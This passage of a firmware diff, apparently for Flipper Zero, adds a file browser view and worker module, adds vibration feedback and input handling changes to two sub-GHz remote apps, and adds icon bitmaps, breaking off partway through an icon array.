file_browser_view_draw_callback(Canvas* canvas, void* _model) { + FileBrowserModel* model = _model; + + if(model->folder_loading) { + browser_draw_loading(canvas, model); + } else { + browser_draw_list(canvas, model); + } +} + +static bool file_browser_view_input_callback(InputEvent* event, void* context) { + FileBrowser* browser = context; + furi_assert(browser); + bool consumed = false; + bool is_loading = false; + + with_view_model( + browser->view, (FileBrowserModel * model) { + is_loading = model->folder_loading; + return false; + }); + + if(is_loading) { + return false; + } else if(event->key == InputKeyUp || event->key == InputKeyDown) { + if(event->type == InputTypeShort || event->type == InputTypeRepeat) { + with_view_model( + browser->view, (FileBrowserModel * model) { + if(event->key == InputKeyUp) { + model->item_idx = + ((model->item_idx - 1) + model->item_cnt) % model->item_cnt; + if(browser_is_list_load_required(model)) { + model->list_loading = true; + int32_t load_offset = CLAMP( + model->item_idx - ITEM_LIST_LEN_MAX / 4 * 3, + (int32_t)model->item_cnt - ITEM_LIST_LEN_MAX, + 0); + file_browser_worker_load( + browser->worker, load_offset, ITEM_LIST_LEN_MAX); + } + } else if(event->key == InputKeyDown) { + model->item_idx = (model->item_idx + 1) % model->item_cnt; + if(browser_is_list_load_required(model)) { + model->list_loading = true; + int32_t load_offset = CLAMP( + model->item_idx - ITEM_LIST_LEN_MAX / 4 * 1, + (int32_t)model->item_cnt - ITEM_LIST_LEN_MAX, + 0); + file_browser_worker_load( + browser->worker, load_offset, ITEM_LIST_LEN_MAX); + } + } + return true; + }); + browser_update_offset(browser); + consumed = true; + } + } else if(event->key == InputKeyOk) { + if(event->type == InputTypeShort) { + BrowserItem_t* selected_item = NULL; + int32_t select_index = 0; + with_view_model( + browser->view, (FileBrowserModel * model) { + if(browser_is_item_in_array(model, model->item_idx)) { + selected_item = + items_array_get(model->items, model->item_idx - model->array_offset); + select_index = model->item_idx; + if((!model->is_root) && (select_index > 0)) { + select_index -= 1; + } + } + return false; + }); + + if(selected_item) { + if(selected_item->type == BrowserItemTypeBack) { + file_browser_worker_folder_exit(browser->worker); + } else if(selected_item->type == BrowserItemTypeFolder) { + file_browser_worker_folder_enter( + browser->worker, selected_item->path, select_index); + } else if(selected_item->type == BrowserItemTypeFile) { + string_set(*(browser->result_path), selected_item->path); + if(browser->callback) { + browser->callback(browser->context, true); + } + } + } + consumed = true; + } + } else if(event->key == InputKeyLeft) { + if(event->type == InputTypeShort) { + bool is_root = false; + with_view_model( + browser->view, (FileBrowserModel * model) { + is_root = model->is_root; + return false; + }); + if(!is_root) { + file_browser_worker_folder_exit(browser->worker); + } + consumed = true; + } + } + + return consumed; +} diff --git a/applications/gui/modules/file_browser.h b/applications/gui/modules/file_browser.h new file mode 100644 index 000000000..b77c6e65c --- /dev/null +++ b/applications/gui/modules/file_browser.h @@ -0,0 +1,39 @@ +/** + * @file file_browser.h + * GUI: FileBrowser view module API + */ + +#pragma once + +#include "m-string.h" +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct FileBrowser FileBrowser; +typedef void (*FileBrowserCallback)(void* context, bool state); + +FileBrowser* file_browser_alloc(string_t* result_path); + +void file_browser_free(FileBrowser* browser); + +View* file_browser_get_view(FileBrowser* browser); + +void file_browser_configure( + FileBrowser* browser, + char* extension, + bool skip_assets, + const Icon* file_icon, + bool hide_ext); + +void file_browser_start(FileBrowser* browser, string_t path); + +void file_browser_stop(FileBrowser* browser); + +void file_browser_set_callback(FileBrowser* browser, FileBrowserCallback callback, void* context); + +#ifdef __cplusplus +} +#endif diff --git a/applications/gui/modules/file_browser_worker.c b/applications/gui/modules/file_browser_worker.c new file mode 100644 index 000000000..13fc97111 --- /dev/null +++ b/applications/gui/modules/file_browser_worker.c @@ -0,0 +1,420 @@ +#include "file_browser_worker.h" +#include "furi/check.h" +#include "furi/common_defines.h" +#include "m-string.h" +#include "storage/filesystem_api_defines.h" +#include +#include +#include +#include +#include + +#define TAG "BrowserWorker" + +#define ASSETS_DIR "assets" +#define BROWSER_ROOT "/any" +#define FILE_NAME_LEN_MAX 256 +#define LONG_LOAD_THRESHOLD 100 + +typedef enum { + WorkerEvtStop = (1 << 0), + WorkerEvtLoad = (1 << 1), + WorkerEvtFolderEnter = (1 << 2), + WorkerEvtFolderExit = (1 << 3), +} WorkerEvtFlags; + +#define WORKER_FLAGS_ALL \ + (WorkerEvtStop | WorkerEvtLoad | WorkerEvtFolderEnter | WorkerEvtFolderExit) + +ARRAY_DEF(idx_last_array, int32_t) + +struct BrowserWorker { + FuriThread* thread; + + string_t filter_extension; + string_t path_next; + int32_t item_sel_idx; + uint32_t load_offset; + uint32_t load_count; + bool skip_assets; + idx_last_array_t idx_last; + + void* cb_ctx; + BrowserWorkerFolderOpenCallback folder_cb; + BrowserWorkerListLoadCallback list_load_cb; + BrowserWorkerListItemCallback list_item_cb; + BrowserWorkerLongLoadCallback long_load_cb; +}; + +static bool browser_path_is_file(string_t path) { + bool state = false; + FileInfo file_info; + Storage* storage = furi_record_open("storage"); + if(storage_common_stat(storage, string_get_cstr(path), &file_info) == FSE_OK) { + if((file_info.flags & FSF_DIRECTORY) == 0) { + state = true; + } + } + furi_record_close("storage"); + return state; +} + +static bool browser_path_trim(string_t path) { + bool is_root = false; + size_t filename_start = string_search_rchar(path, '/'); + string_left(path, filename_start); + if((string_empty_p(path)) || (filename_start == STRING_FAILURE)) { + string_set_str(path, BROWSER_ROOT); + is_root = true; + } + return is_root; +} + +static bool browser_filter_by_name(BrowserWorker* browser, string_t name, bool is_folder) { + if(is_folder) { + // Skip assets folders (if enabled) + if(browser->skip_assets) { + return ((string_cmp_str(name, ASSETS_DIR) == 0) ? (false) : (true)); + } else { + return true; + } + } else { + // Filter files by extension + if((string_empty_p(browser->filter_extension)) || + (string_cmp_str(browser->filter_extension, "*") == 0)) { + return true; + } + if(string_end_with_string_p(name, browser->filter_extension)) { + return true; + } + } + return false; +} + +static bool browser_folder_check_and_switch(string_t path) { + FileInfo file_info; + Storage* storage = furi_record_open("storage"); + bool is_root = false; + while(1) { + // Check if folder is existing and navigate back if not + if(storage_common_stat(storage, string_get_cstr(path), &file_info) == FSE_OK) { + if(file_info.flags & FSF_DIRECTORY) { + break; + } + } + if(is_root) { + break; + } + is_root = browser_path_trim(path); + } + furi_record_close("storage"); + return is_root; +} + +static bool browser_folder_init( + BrowserWorker* browser, + string_t path, + string_t filename, + uint32_t* item_cnt, + int32_t* file_idx) { + bool state = false; + FileInfo file_info; + uint32_t total_files_cnt = 0; + + Storage* storage = furi_record_open("storage"); + File* directory = storage_file_alloc(storage); + + char name_temp[FILE_NAME_LEN_MAX]; + string_t name_str; + string_init(name_str); + + *item_cnt = 0; + *file_idx = -1; + + if(storage_dir_open(directory, string_get_cstr(path))) { + state = true; + while(1) { + if(!storage_dir_read(directory, &file_info, name_temp, FILE_NAME_LEN_MAX)) { + break; + } + if((storage_file_get_error(directory) == FSE_OK) && (name_temp[0] != '\0')) { + total_files_cnt++; + string_set_str(name_str, name_temp); + if(browser_filter_by_name(browser, name_str, (file_info.flags & FSF_DIRECTORY))) { + if(!string_empty_p(filename)) { + if(string_cmp(name_str, filename) == 0) { + *file_idx = *item_cnt; + } + } + (*item_cnt)++; + } + if(total_files_cnt == LONG_LOAD_THRESHOLD) { + if(browser->long_load_cb) { + browser->long_load_cb(browser->cb_ctx); + } + } + } + } + } + + string_clear(name_str); + + storage_dir_close(directory); + storage_file_free(directory); + + furi_record_close("storage"); + + return state; +} + +static bool + browser_folder_load(BrowserWorker* browser, string_t path, uint32_t offset, uint32_t count) { + FileInfo file_info; + + Storage* storage = furi_record_open("storage"); + File* directory = storage_file_alloc(storage); + + char name_temp[FILE_NAME_LEN_MAX]; + string_t name_str; + string_init(name_str); + + uint32_t items_cnt = 0; + + do { + if(!storage_dir_open(directory, string_get_cstr(path))) { + break; + } + + items_cnt = 0; + while(items_cnt < offset) { + if(!storage_dir_read(directory, &file_info, name_temp, FILE_NAME_LEN_MAX)) { + break; + } + if(storage_file_get_error(directory) == FSE_OK) { + string_set_str(name_str, name_temp); + if(browser_filter_by_name(browser, name_str, (file_info.flags & FSF_DIRECTORY))) { + items_cnt++; + } + } else { + break; + } + } + if(items_cnt != offset) { + break; + } + + if(browser->list_load_cb) { + browser->list_load_cb(browser->cb_ctx, offset); + } + + items_cnt = 0; + while(items_cnt < count) { + if(!storage_dir_read(directory, &file_info, name_temp, FILE_NAME_LEN_MAX)) { + break; + } + if(storage_file_get_error(directory) == FSE_OK) { + string_set_str(name_str, name_temp); + if(browser_filter_by_name(browser, name_str, (file_info.flags & FSF_DIRECTORY))) { + string_printf(name_str, "%s/%s", string_get_cstr(path), name_temp); + if(browser->list_item_cb) { + browser->list_item_cb( + browser->cb_ctx, name_str, (file_info.flags & FSF_DIRECTORY), false); + } + items_cnt++; + } + } else { + break; + } + } + if(browser->list_item_cb) { + browser->list_item_cb(browser->cb_ctx, NULL, false, true); + } + } while(0); + + string_clear(name_str); + + storage_dir_close(directory); + storage_file_free(directory); + + furi_record_close("storage"); + + return (items_cnt == count); +} + +static int32_t browser_worker(void* context) { + BrowserWorker* browser = (BrowserWorker*)context; + furi_assert(browser); + FURI_LOG_D(TAG, "Start"); + + uint32_t items_cnt = 0; + string_t path; + string_init_set_str(path, BROWSER_ROOT); + browser->item_sel_idx = -1; + + // If start path is a path to the file - try finding index of this file in a folder + string_t filename; + string_init(filename); + if(browser_path_is_file(browser->path_next)) { + file_browser_worker_get_filename(browser->path_next, filename, false); + } + + osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderEnter); + + while(1) { + uint32_t flags = osThreadFlagsWait(WORKER_FLAGS_ALL, osFlagsWaitAny, osWaitForever); + furi_assert((flags & osFlagsError) == 0); + + if(flags & WorkerEvtFolderEnter) { + string_set(path, browser->path_next); + bool is_root = browser_folder_check_and_switch(path); + + // Push previous selected item index to history array + idx_last_array_push_back(browser->idx_last, browser->item_sel_idx); + + int32_t file_idx = 0; + browser_folder_init(browser, path, filename, &items_cnt, &file_idx); + FURI_LOG_D( + TAG, + "Enter folder: %s items: %u idx: %d", + string_get_cstr(path), + items_cnt, + file_idx); + if(browser->folder_cb) { + browser->folder_cb(browser->cb_ctx, items_cnt, file_idx, is_root); + } + string_reset(filename); + } + + if(flags & WorkerEvtFolderExit) { + browser_path_trim(path); + bool is_root = browser_folder_check_and_switch(path); + + int32_t file_idx = 0; + browser_folder_init(browser, path, filename, &items_cnt, &file_idx); + if(idx_last_array_size(browser->idx_last) > 0) { + // Pop previous selected item index from history array + idx_last_array_pop_back(&file_idx, browser->idx_last); + } + FURI_LOG_D( + TAG, "Exit to: %s items: %u idx: %d", string_get_cstr(path), items_cnt, file_idx); + if(browser->folder_cb) { + browser->folder_cb(browser->cb_ctx, items_cnt, file_idx, is_root); + } + } + + if(flags & WorkerEvtLoad) { + FURI_LOG_D(TAG, "Load offset: %u cnt: %u", browser->load_offset, browser->load_count); + browser_folder_load(browser, path, browser->load_offset, browser->load_count); + } + + if(flags & WorkerEvtStop) { + break; + } + } + + string_clear(filename); + string_clear(path); + + FURI_LOG_D(TAG, "End"); + return 0; +} + +void file_browser_worker_get_filename(string_t path, string_t name, bool trim_ext) { + size_t filename_start = string_search_rchar(path, '/'); + if(filename_start > 0) { + filename_start++; + string_set_n(name, path, filename_start, string_size(path) - filename_start); + } + if(trim_ext) { + size_t dot = string_search_rchar(name, '.'); + if(dot > 0) { + string_left(name, dot); + } + } +} + +BrowserWorker* file_browser_worker_alloc(string_t path, char* filter_ext, bool skip_assets) { + BrowserWorker* browser = malloc(sizeof(BrowserWorker)); + + idx_last_array_init(browser->idx_last); + + string_init_set_str(browser->filter_extension, filter_ext); + browser->skip_assets = skip_assets; + string_init_set(browser->path_next, path); + + browser->thread = furi_thread_alloc(); + furi_thread_set_name(browser->thread, "BrowserWorker"); + furi_thread_set_stack_size(browser->thread, 2048); + furi_thread_set_context(browser->thread, browser); + furi_thread_set_callback(browser->thread, browser_worker); + furi_thread_start(browser->thread); + + return browser; +} + +void file_browser_worker_free(BrowserWorker* browser) { + furi_assert(browser); + + osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtStop); + furi_thread_join(browser->thread); + furi_thread_free(browser->thread); + + string_clear(browser->filter_extension); + string_clear(browser->path_next); + + idx_last_array_clear(browser->idx_last); + + free(browser); +} + +void file_browser_worker_set_callback_context(BrowserWorker* browser, void* context) { + furi_assert(browser); + browser->cb_ctx = context; +} + +void file_browser_worker_set_folder_callback( + BrowserWorker* browser, + BrowserWorkerFolderOpenCallback cb) { + furi_assert(browser); + browser->folder_cb = cb; +} + +void file_browser_worker_set_list_callback( + BrowserWorker* browser, + BrowserWorkerListLoadCallback cb) { + furi_assert(browser); + browser->list_load_cb = cb; +} + +void file_browser_worker_set_item_callback( + BrowserWorker* browser, + BrowserWorkerListItemCallback cb) { + furi_assert(browser); + browser->list_item_cb = cb; +} + +void file_browser_worker_set_long_load_callback( + BrowserWorker* browser, + BrowserWorkerLongLoadCallback cb) { + furi_assert(browser); + browser->long_load_cb = cb; +} + +void file_browser_worker_folder_enter(BrowserWorker* browser, string_t path, int32_t item_idx) { + furi_assert(browser); + string_set(browser->path_next, path); + browser->item_sel_idx = item_idx; + osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderEnter); +} + +void file_browser_worker_folder_exit(BrowserWorker* browser) { + furi_assert(browser); + osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderExit); +} + +void file_browser_worker_load(BrowserWorker* browser, uint32_t offset, uint32_t count) { + furi_assert(browser); + browser->load_offset = offset; + browser->load_count = count; + osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtLoad); +} diff --git a/applications/gui/modules/file_browser_worker.h b/applications/gui/modules/file_browser_worker.h new file mode 100644 index 000000000..821d5103f --- /dev/null +++ b/applications/gui/modules/file_browser_worker.h @@ -0,0 +1,57 @@ +#pragma once + +#include "m-string.h" +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct BrowserWorker BrowserWorker; +typedef void (*BrowserWorkerFolderOpenCallback)( + void* context, + uint32_t item_cnt, + int32_t file_idx, + bool is_root); +typedef void (*BrowserWorkerListLoadCallback)(void* context, uint32_t list_load_offset); +typedef void (*BrowserWorkerListItemCallback)( + void* context, + string_t item_path, + bool is_folder, + bool is_last); +typedef void (*BrowserWorkerLongLoadCallback)(void* context); + +void file_browser_worker_get_filename(string_t path, string_t name, bool trim_ext); + +BrowserWorker* file_browser_worker_alloc(string_t path, char* filter_ext, bool skip_assets); + +void file_browser_worker_free(BrowserWorker* browser); + +void file_browser_worker_set_callback_context(BrowserWorker* browser, void* context); + +void file_browser_worker_set_folder_callback( + BrowserWorker* browser, + BrowserWorkerFolderOpenCallback cb); + +void file_browser_worker_set_list_callback( + BrowserWorker* browser, + BrowserWorkerListLoadCallback cb); + +void file_browser_worker_set_item_callback( + BrowserWorker* browser, + BrowserWorkerListItemCallback cb); + +void file_browser_worker_set_long_load_callback( + BrowserWorker* browser, + BrowserWorkerLongLoadCallback cb); + +void file_browser_worker_folder_enter(BrowserWorker* browser, string_t path, int32_t item_idx); + +void file_browser_worker_folder_exit(BrowserWorker* browser); + +void file_browser_worker_load(BrowserWorker* browser, uint32_t offset, uint32_t count); + +#ifdef __cplusplus +} +#endif diff --git a/applications/jukebox/jukebox.c b/applications/jukebox/jukebox.c index 17bfa89d6..d4eb814d5 100644 --- a/applications/jukebox/jukebox.c +++ b/applications/jukebox/jukebox.c @@ -7,6 +7,7 @@ #include #include #include +#include #define TAG "JukeBox" @@ -31,7 +32,7 @@ static char* subString(char* someString, int n) { char* new = malloc(sizeof(char) * n + 1); strncpy(new, someString, n); new[n] = '\0'; - return new; + return(new); } static char* file_stub(const char* file_name) { @@ -40,7 +41,7 @@ static char* file_stub(const char* file_name) { // string_init(file_name); path_extract_filename_no_ext(file_name, filename); - return subString((char*)string_get_cstr(filename), 8); + return(subString((char*)string_get_cstr(filename), 8)); } static void jukebox_send_signal(uint32_t frequency, string_t signal, string_t protocol) { @@ -58,7 +59,7 @@ static void jukebox_send_signal(uint32_t frequency, string_t signal, string_t pr } else { return; } - + NotificationApp* notification = furi_record_open("notification"); FlipperFormat* flipper_format = flipper_format_string_alloc(); Stream* stream = flipper_format_get_raw_stream(flipper_format); stream_clean(stream); @@ -77,6 +78,8 @@ static void jukebox_send_signal(uint32_t frequency, string_t signal, string_t pr TAG, "Transmitting at %lu, repeat %lu. Press CTRL+C to stop\r\n", frequency, repeat); furi_hal_power_suppress_charge_enter(); + notification_message(notification, &sequence_set_vibro_on); + furi_hal_subghz_start_async_tx(subghz_transmitter_yield, transmitter); while(!(furi_hal_subghz_is_async_tx_complete())) { @@ -84,6 +87,9 @@ static void jukebox_send_signal(uint32_t frequency, string_t signal, string_t pr fflush(stdout); osDelay(333); } + notification_message(notification, &sequence_reset_vibro); + + furi_record_close("notification"); furi_hal_subghz_stop_async_tx(); furi_hal_subghz_sleep(); @@ -159,13 +165,15 @@ static void jukebox_render_callback(Canvas* canvas, void* ctx) { } canvas_draw_str(canvas, 10, 63, "[back] - skip, hold to exit"); - + jukebox_reset_state(state); release_mutex((ValueMutex*)ctx, state); } static void jukebox_input_callback(InputEvent* input_event, void* ctx) { - osMessageQueueId_t event_queue = ctx; - osMessageQueuePut(event_queue, input_event, 0, osWaitForever); + if (input_event->type == InputTypeRelease) { + osMessageQueueId_t event_queue = ctx; + osMessageQueuePut(event_queue, input_event, 0, osWaitForever); + } } int32_t jukebox_app(void* p) { @@ -218,7 +226,7 @@ int32_t jukebox_app(void* p) { ValueMutex state_mutex; if(!init_mutex(&state_mutex, &_state, sizeof(RemoteAppState))) { FURI_LOG_D(TAG, "cannot create mutex"); - return 0; + return(0); } ViewPort* view_port = view_port_alloc(); @@ -240,57 +248,22 @@ int32_t jukebox_app(void* p) { input_get_type_name(event.type)); if(event.key == InputKeyRight) { - if(event.type == InputTypePress) { state->press[0] = true; - } else if(event.type == InputTypeRelease) { - state->press[0] = false; - } else if(event.type == InputTypeShort) { - state->press[0] = false; - } } else if(event.key == InputKeyLeft) { - if(event.type == InputTypePress) { state->press[1] = true; - } else if(event.type == InputTypeRelease) { - state->press[1] = false; - } else if(event.type == InputTypeShort) { - state->press[1] = false; - } } else if(event.key == InputKeyUp) { - if(event.type == InputTypePress) { state->press[2] = true; - } else if(event.type == InputTypeRelease) { - state->press[2] = false; - } else if(event.type == InputTypeShort) { - state->press[2] = false; - } } else if(event.key == InputKeyDown) { - if(event.type == InputTypePress) { state->press[3] = true; - } else if(event.type == InputTypeRelease) { - state->press[3] = false; - } else if(event.type == InputTypeShort) { - state->press[3] = false; - } } else if(event.key == InputKeyOk) { - if(event.type == InputTypePress) { state->press[4] = true; - } else if(event.type == InputTypeRelease) { - state->press[4] = false; - } else if(event.type == InputTypeShort) { - state->press[4] = false; - } } else if(event.key == InputKeyBack) { - if(event.type == InputTypeLong) { release_mutex(&state_mutex, state); break; - } else if(event.type == InputTypeShort) { - jukebox_reset_state(state); - } } release_mutex(&state_mutex, state); view_port_update(view_port); } - // remove & free all stuff created by app gui_remove_view_port(gui, view_port); view_port_free(view_port); @@ -299,5 +272,5 @@ int32_t jukebox_app(void* p) { furi_record_close("gui"); - return 0; + return(0); } \ No newline at end of file diff --git a/applications/universal_rf/universal_rf.c b/applications/universal_rf/universal_rf.c index d37c38350..ca21e5162 100644 --- a/applications/universal_rf/universal_rf.c +++ b/applications/universal_rf/universal_rf.c @@ -7,6 +7,7 @@ #include #include #include +#include #define TAG "UniveralRFRemote" @@ -31,16 +32,15 @@ static char* subString(char* someString, int n) { char* new = malloc(sizeof(char) * n + 1); strncpy(new, someString, n); new[n] = '\0'; - return new; + return(new); } static char* file_stub(const char* file_name) { string_t filename; string_init(filename); - // string_init(file_name); path_extract_filename_no_ext(file_name, filename); - return subString((char*)string_get_cstr(filename), 8); + return(subString((char*)string_get_cstr(filename), 8)); } static void remote_send_signal(uint32_t frequency, string_t signal, string_t protocol) { @@ -58,7 +58,7 @@ static void remote_send_signal(uint32_t frequency, string_t signal, string_t pro } else { return; } - + NotificationApp* notification = furi_record_open("notification"); FlipperFormat* flipper_format = flipper_format_string_alloc(); Stream* stream = flipper_format_get_raw_stream(flipper_format); stream_clean(stream); @@ -77,6 +77,8 @@ static void remote_send_signal(uint32_t frequency, string_t signal, string_t pro TAG, "Transmitting at %lu, repeat %lu. Press CTRL+C to stop\r\n", frequency, repeat); furi_hal_power_suppress_charge_enter(); + notification_message(notification, &sequence_set_vibro_on); + furi_hal_subghz_start_async_tx(subghz_transmitter_yield, transmitter); while(!(furi_hal_subghz_is_async_tx_complete())) { @@ -84,6 +86,10 @@ static void remote_send_signal(uint32_t frequency, string_t signal, string_t pro fflush(stdout); osDelay(333); } + notification_message(notification, &sequence_reset_vibro); + + furi_record_close("notification"); + furi_hal_subghz_stop_async_tx(); furi_hal_subghz_sleep(); @@ -115,7 +121,6 @@ static void remote_render_callback(Canvas* canvas, void* ctx) { canvas_draw_str(canvas, 0, 36, strings[3]); canvas_draw_str(canvas, 85, 36, strings[4]); canvas_draw_str(canvas, 0, 48, strings[0]); - // canvas_draw_circle(canvas, 100, 26, 25); if(state->press[0]) { string_cat_printf(signal, "%s", string_get_cstr(right_file)); @@ -159,13 +164,15 @@ static void remote_render_callback(Canvas* canvas, void* ctx) { } canvas_draw_str(canvas, 10, 63, "[back] - skip, hold to exit"); - + remote_reset_state(state); release_mutex((ValueMutex*)ctx, state); } static void remote_input_callback(InputEvent* input_event, void* ctx) { - osMessageQueueId_t event_queue = ctx; - osMessageQueuePut(event_queue, input_event, 0, osWaitForever); + if (input_event->type == InputTypeRelease) { + osMessageQueueId_t event_queue = ctx; + osMessageQueuePut(event_queue, input_event, 0, osWaitForever); + } } int32_t universal_rf_remote_app(void* p) { @@ -218,7 +225,7 @@ int32_t universal_rf_remote_app(void* p) { ValueMutex state_mutex; if(!init_mutex(&state_mutex, &_state, sizeof(RemoteAppState))) { FURI_LOG_D(TAG, "cannot create mutex"); - return 0; + return(0); } ViewPort* view_port = view_port_alloc(); @@ -226,7 +233,6 @@ int32_t universal_rf_remote_app(void* p) { view_port_draw_callback_set(view_port, remote_render_callback, &state_mutex); view_port_input_callback_set(view_port, remote_input_callback, event_queue); - // Open GUI and register view_port Gui* gui = furi_record_open("gui"); gui_add_view_port(gui, view_port, GuiLayerFullscreen); @@ -240,58 +246,23 @@ int32_t universal_rf_remote_app(void* p) { input_get_type_name(event.type)); if(event.key == InputKeyRight) { - if(event.type == InputTypePress) { state->press[0] = true; - } else if(event.type == InputTypeRelease) { - state->press[0] = false; - } else if(event.type == InputTypeShort) { - state->press[0] = false; - } } else if(event.key == InputKeyLeft) { - if(event.type == InputTypePress) { state->press[1] = true; - } else if(event.type == InputTypeRelease) { - state->press[1] = false; - } else if(event.type == InputTypeShort) { - state->press[1] = false; - } } else if(event.key == InputKeyUp) { - if(event.type == InputTypePress) { state->press[2] = true; - } else if(event.type == InputTypeRelease) { - state->press[2] = false; - } else if(event.type == InputTypeShort) { - state->press[2] = false; - } } else if(event.key == InputKeyDown) { - if(event.type == InputTypePress) { state->press[3] = true; - } else if(event.type == InputTypeRelease) { - state->press[3] = false; - } else if(event.type == InputTypeShort) { - state->press[3] = false; - } } else if(event.key == InputKeyOk) { - if(event.type == InputTypePress) { state->press[4] = true; - } else if(event.type == InputTypeRelease) { - state->press[4] = false; - } else if(event.type == InputTypeShort) { - state->press[4] = false; - } } else if(event.key == InputKeyBack) { - if(event.type == InputTypeLong) { release_mutex(&state_mutex, state); break; - } else if(event.type == InputTypeShort) { - remote_reset_state(state); - } } release_mutex(&state_mutex, state); view_port_update(view_port); } - // remove & free all stuff created by app gui_remove_view_port(gui, view_port); view_port_free(view_port); osMessageQueueDelete(event_queue); @@ -299,5 +270,5 @@ int32_t universal_rf_remote_app(void* p) { furi_record_close("gui"); - return 0; -} + return(0); +} \ No newline at end of file diff --git a/assets/compiled/assets_icons.c b/assets/compiled/assets_icons.c index 9046dddd7..049f74adb 100644 --- a/assets/compiled/assets_icons.c +++ b/assets/compiled/assets_icons.c @@ -40,6 +40,9 @@ const uint8_t* const _I_125_10px[] = {_I_125_10px_0}; const uint8_t _I_Nfc_10px_0[] = {0x00,0x80,0x00,0x00,0x01,0x22,0x02,0x43,0x02,0x45,0x02,0x49,0x02,0x31,0x02,0x22,0x02,0x00,0x01,0x80,0x00,}; const uint8_t* const _I_Nfc_10px[] = {_I_Nfc_10px_0}; +const uint8_t _I_back_10px_0[] = {0x00,0x00,0x00,0x10,0x00,0x38,0x00,0x7C,0x00,0xFE,0x00,0x38,0x00,0x38,0x00,0xF8,0x01,0xF8,0x01,0x00,0x00,}; +const uint8_t* const _I_back_10px[] = {_I_back_10px_0}; + const uint8_t _I_badusb_10px_0[] = {0x01,0x00,0x11,0x00,0x00,0x0f,0xe2,0x01,0xfc,0x80,0xdd,0x20,0x32,0x48,0x08,0x14,0x40,0x23,0xa8,0x08,0xa0,}; const uint8_t* const _I_badusb_10px[] = {_I_badusb_10px_0}; @@ -55,6 +58,9 @@ const uint8_t* const _I_ibutt_10px[] = {_I_ibutt_10px_0}; const uint8_t _I_ir_10px_0[] = {0x00,0xFC,0x00,0x02,0x01,0x79,0x02,0x84,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x58,0x00,0x78,0x00,0xFF,0x03,}; const uint8_t* const _I_ir_10px[] = {_I_ir_10px_0}; +const uint8_t _I_loading_10px_0[] = {0x00,0xFE,0x00,0x82,0x00,0xBA,0x00,0x54,0x00,0x28,0x00,0x28,0x00,0x44,0x00,0x92,0x00,0xBA,0x00,0xFE,0x00,}; +const uint8_t* const _I_loading_10px[] = {_I_loading_10px_0}; + const uint8_t _I_sub1_10px_0[] = {0x01,0x00,0x12,0x00,0x81,0x40,0x69,0x30,0x2c,0x2c,0x0b,0x6a,0x01,0x28,0x0c,0x0a,0x65,0x01,0x98,0x40,0x00,0x26,}; const uint8_t* const _I_sub1_10px[] = {_I_sub1_10px_0}; @@ -316,6 +322,16 @@ const uint8_t _A_Bluetooth_14_4[] = {0x00,0x10,0x00,0x30,0x00,0x51,0x00,0x92,0x0 const uint8_t _A_Bluetooth_14_5[] = {0x00,0x10,0x00,0x30,0x00,0x51,0x00,0x92,0x00,0x94,0x04,0x58,0x08,0x30,0x09,0x30,0x09,0x58,0x08,0x94,0x04,0x92,0x00,0x51,0x00,0x30,0x00,0x10,0x00,}; const uint8_t* const _A_Bluetooth_14[] = {_A_Bluetooth_14_0,_A_Bluetooth_14_1,_A_Bluetooth_14_2,_A_Bluetooth_14_3,_A_Bluetooth_14_4,_A_Bluetooth_14_5}; +const uint8_t _A_Clock_14_0[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x49,0x12,0x41,0x10,0x41,0x10,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t _A_Clock_14_1[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x13,0x81,0x10,0x41,0x10,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t _A_Clock_14_2[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0xC1,0x11,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t _A_Clock_14_3[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0x41,0x10,0x81,0x10,0x09,0x13,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t _A_Clock_14_4[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0x41,0x10,0x41,0x10,0x49,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t _A_Clock_14_5[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0x41,0x10,0x21,0x10,0x19,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t _A_Clock_14_6[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x09,0x12,0x01,0x10,0x71,0x10,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t _A_Clock_14_7[] = {0x00,0xF0,0x01,0x0E,0x0E,0x47,0x1C,0x03,0x18,0x19,0x12,0x21,0x10,0x41,0x10,0x01,0x10,0x09,0x12,0x02,0x08,0x46,0x0C,0x0E,0x0E,0xF6,0x0D,0x02,0x08,}; +const uint8_t* const _A_Clock_14[] = {_A_Clock_14_0,_A_Clock_14_1,_A_Clock_14_2,_A_Clock_14_3,_A_Clock_14_4,_A_Clock_14_5,_A_Clock_14_6,_A_Clock_14_7}; + const uint8_t _A_Debug_14_0[] = {0x00,0x20,0x01,0xC1,0x20,0x22,0x11,0x24,0x09,0xD9,0x26,0x16,0x1A,0xD8,0x06,0xD8,0x06,0xD6,0x1A,0x19,0x26,0xE4,0x09,0xC2,0x10,0x01,0x20,0x00,0x00,}; const uint8_t _A_Debug_14_1[] = 